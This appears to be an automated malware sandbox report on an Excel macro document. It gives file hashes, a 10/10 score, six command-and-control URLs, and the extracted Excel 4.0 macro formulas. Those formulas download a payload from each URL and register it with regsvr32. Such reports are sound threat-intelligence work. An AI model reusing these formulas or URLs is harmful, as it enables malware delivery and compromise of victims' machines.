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General

  • Target

    20efcef8fdae5134eb767e2c44a1be2e3520a073bbcb2fe490384ddb95836f90

  • Size

    40KB

  • MD5

    4eed7b580d17be9cdff8df3d31acb038

  • SHA1

    44af2ce31d046c21f31f5d74c857c94d04b9e455

  • SHA256

    20efcef8fdae5134eb767e2c44a1be2e3520a073bbcb2fe490384ddb95836f90

  • SHA512

    e8911d2b6958d58b777a625b8558cd306d0dd0c5b03ea5f4b7e51c850bf4a0df9411472844c82a104f0a69d5e8108f6650b7ce987fbef32abb1a94c1e5c419ad

  • SSDEEP

    768:+knyGomihd8DOevZCwtCyKfcrND59V+L9Rw4eWrXcTqZ0Vfs3GTE:2Gom8eDmylND59V4jwmXc2CVfs37

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://wellnessonus.com/wp-admin/OFq5F8Y/

http://choicepestcontrol.xyz/wellknown/PERKnM4X/

https://sse-studio.com/cq0xhpj/6pmmsaPCOGtG6/

http://velasaromaticasonline.com/wp-admin/5Id5LqSb3O3BUM5Z/

https://alonsoconsultancyservice.com/wp-content/0r7tMAnLfwKu0gvcH/

http://trainingchallenges.xyz/wp-admin/ebPbsOdsRJA9G/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://wellnessonus.com/wp-admin/OFq5F8Y/","..\dan.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://choicepestcontrol.xyz/wellknown/PERKnM4X/","..\dan.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://sse-studio.com/cq0xhpj/6pmmsaPCOGtG6/","..\dan.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://velasaromaticasonline.com/wp-admin/5Id5LqSb3O3BUM5Z/","..\dan.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://alonsoconsultancyservice.com/wp-content/0r7tMAnLfwKu0gvcH/","..\dan.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://trainingchallenges.xyz/wp-admin/ebPbsOdsRJA9G/","..\dan.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\dan.ocx") =RETURN()

Signatures

  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

Files

  • 20efcef8fdae5134eb767e2c44a1be2e3520a073bbcb2fe490384ddb95836f90
    .xlsm office2007